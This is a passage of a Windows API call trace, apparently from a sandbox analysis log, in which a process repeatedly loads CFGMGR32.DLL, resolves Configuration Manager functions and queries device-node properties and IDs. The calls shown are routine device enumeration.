lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0243.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0243.011] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0243.011] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0243.011] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0243.011] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0243.011] malloc (_Size=0x18) returned 0x20abc281e60 [0243.012] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0243.012] malloc (_Size=0x48) returned 0x20abc27cb20 [0243.012] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4c9c2dc9, dwHighDateTime=0x1d9eb0c)) [0243.013] SetEvent (hEvent=0x248) returned 1 [0243.019] malloc (_Size=0xd8) returned 0x20abc284e70 [0243.019] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0243.019] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0243.019] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0243.019] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0243.019] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0243.020] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0243.020] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0243.020] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0243.020] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0243.020] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0243.020] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0243.020] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0243.021] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0243.021] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0243.021] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0243.021] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0243.021] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0243.021] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0243.021] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0243.022] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0243.022] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0243.022] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0243.022] malloc (_Size=0x18) returned 0x20abc281d40 [0243.022] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0243.025] malloc (_Size=0x48) returned 0x20abc27cb20 [0243.025] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4c9e90c6, dwHighDateTime=0x1d9eb0c)) [0243.025] SetEvent (hEvent=0x248) returned 1 [0243.029] malloc (_Size=0xd8) returned 0x20abc284e70 [0243.029] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0243.029] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0243.029] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0243.029] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0243.030] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0243.030] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0243.030] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0243.030] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0243.030] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0243.030] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0243.030] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0243.031] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0243.031] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0243.031] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0243.031] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0243.031] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0243.031] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0243.031] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0243.031] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0243.032] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0243.032] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0243.032] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0243.032] malloc (_Size=0x18) returned 0x20abc281a80 [0243.032] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x1, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0243.033] malloc (_Size=0x48) returned 0x20abc27cb20 [0243.033] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x4c9e90c6, dwHighDateTime=0x1d9eb0c)) [0243.033] SetEvent (hEvent=0x248) returned 1 [0243.039] malloc (_Size=0xd8) returned 0x20abc284e70 [0243.039] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0243.039] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0243.039] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0243.039] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0243.040] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0243.040] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0243.040] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0243.040] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0243.040] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0243.040] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0243.040] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0243.041] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0243.041] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0243.041] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0243.041] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0243.041] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0243.041] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0243.041] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0243.042] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0243.042] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0243.042] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0243.042] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0243.042] malloc (_Size=0x18) returned 0x20abc281ce0 [0243.043] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x1, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0243.043] malloc (_Size=0x48) returned 0x20abc27cb20 [0243.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x4ca0f2d0, dwHighDateTime=0x1d9eb0c)) [0243.043] SetEvent (hEvent=0x248) returned 1 [0243.048] malloc (_Size=0xd8) returned 0x20abc284e70 [0243.048] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0243.048] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0243.048] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0243.048] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0243.048] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0243.049] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0243.049] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0243.049] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0243.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0243.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0243.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0243.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0243.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0243.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0243.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0243.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0243.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0243.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0243.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0243.052] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0243.052] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0243.052] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0243.052] malloc (_Size=0x18) returned 0x20abc281960 [0243.053] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0243.053] malloc (_Size=0x48) returned 0x20abc27cb20 [0243.053] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4ca358e0, dwHighDateTime=0x1d9eb0c)) [0243.054] SetEvent (hEvent=0x248) returned 1 [0243.191] malloc (_Size=0xd8) returned 0x20abc284e70 [0243.191] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0243.192] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0243.192] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0243.192] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0243.192] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0243.192] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0243.193] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0243.193] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0243.193] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0243.193] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0243.193] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0243.193] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0243.193] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0243.194] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0243.194] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0243.194] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0243.194] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0243.194] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0243.194] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0243.194] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0243.194] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0243.195] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0243.195] malloc (_Size=0x18) returned 0x20abc282000 [0243.195] CM_Get_Device_IDA (in: dnDevInst=0x35, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\MMDEVAPI\\MICROSOFTGSWAVETABLESYNTH") returned 0x0 [0243.195] malloc (_Size=0x48) returned 0x20abc27cb20 [0243.195] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x4cb8ca8d, dwHighDateTime=0x1d9eb0c)) [0243.196] SetEvent (hEvent=0x248) returned 1 [0243.200] malloc (_Size=0xd8) returned 0x20abc284e70 [0243.200] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0243.200] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0243.200] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0243.200] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0243.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0243.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0243.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0243.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0243.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0243.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0243.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0243.202] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0243.202] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0243.202] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0243.202] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0243.202] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0243.202] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0243.202] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0243.203] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0243.203] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0243.203] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0243.203] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0243.203] malloc (_Size=0x18) returned 0x20abc2820c0 [0243.204] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0243.204] malloc (_Size=0x48) returned 0x20abc27cb20 [0243.204] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4cb8ca8d, dwHighDateTime=0x1d9eb0c)) [0243.204] SetEvent (hEvent=0x248) returned 1 [0243.208] malloc (_Size=0xd8) returned 0x20abc284e70 [0243.208] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0243.208] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0243.208] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0243.209] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0243.209] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0243.209] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0243.209] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0243.209] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0243.209] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0243.209] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0243.210] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0243.210] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0243.210] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0243.210] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0243.210] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0243.210] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0243.210] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0243.211] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0243.211] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0243.211] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0243.211] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0243.211] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0243.211] malloc (_Size=0x18) returned 0x20abc281b20 [0243.212] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0243.212] malloc (_Size=0x38) returned 0x20abc280fd0 [0243.212] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc280fd0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc280fd0, pulLength=0x2dc22fd3f8) returned 0x0 [0243.213] free (_Block=0x20abc280fd0) [0243.213] malloc (_Size=0x48) returned 0x20abc27cf80 [0243.213] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4cbb2f81, dwHighDateTime=0x1d9eb0c)) [0243.213] SetEvent (hEvent=0x248) returned 1 [0243.217] malloc (_Size=0x18) returned 0x20abc2819a0 [0243.217] SafeArrayPutElement (psa=0x20abbaf22a0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0243.217] free (_Block=0x20abc2819a0) [0243.218] malloc (_Size=0x18) returned 0x20abc281dc0 [0243.218] SafeArrayPutElement (psa=0x20abbaf22a0, rgIndices=0x2dc22fd4c8, pv=0x20abba79b58) returned 0x0 [0243.218] free (_Block=0x20abc281dc0) [0243.218] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c670 [0243.218] SafeArrayGetDim (psa=0x20abbaf22a0) returned 0x1 [0243.218] SafeArrayGetLBound (in: psa=0x20abbaf22a0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0243.218] SafeArrayGetUBound (in: psa=0x20abbaf22a0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0243.218] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0243.218] SafeArrayGetDim (psa=0x20abbaf22a0) returned 0x1 [0243.218] SafeArrayGetUBound (in: psa=0x20abbaf22a0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0243.218] SafeArrayGetElemsize (psa=0x20abbaf22a0) returned 0x8 [0243.218] SafeArrayGetElement (in: psa=0x20abbaf22a0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0243.219] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba939f0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0243.219] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba939f8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0243.219] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0243.220] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c670) returned 1 [0243.220] malloc (_Size=0xd8) returned 0x20abc284e70 [0243.220] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 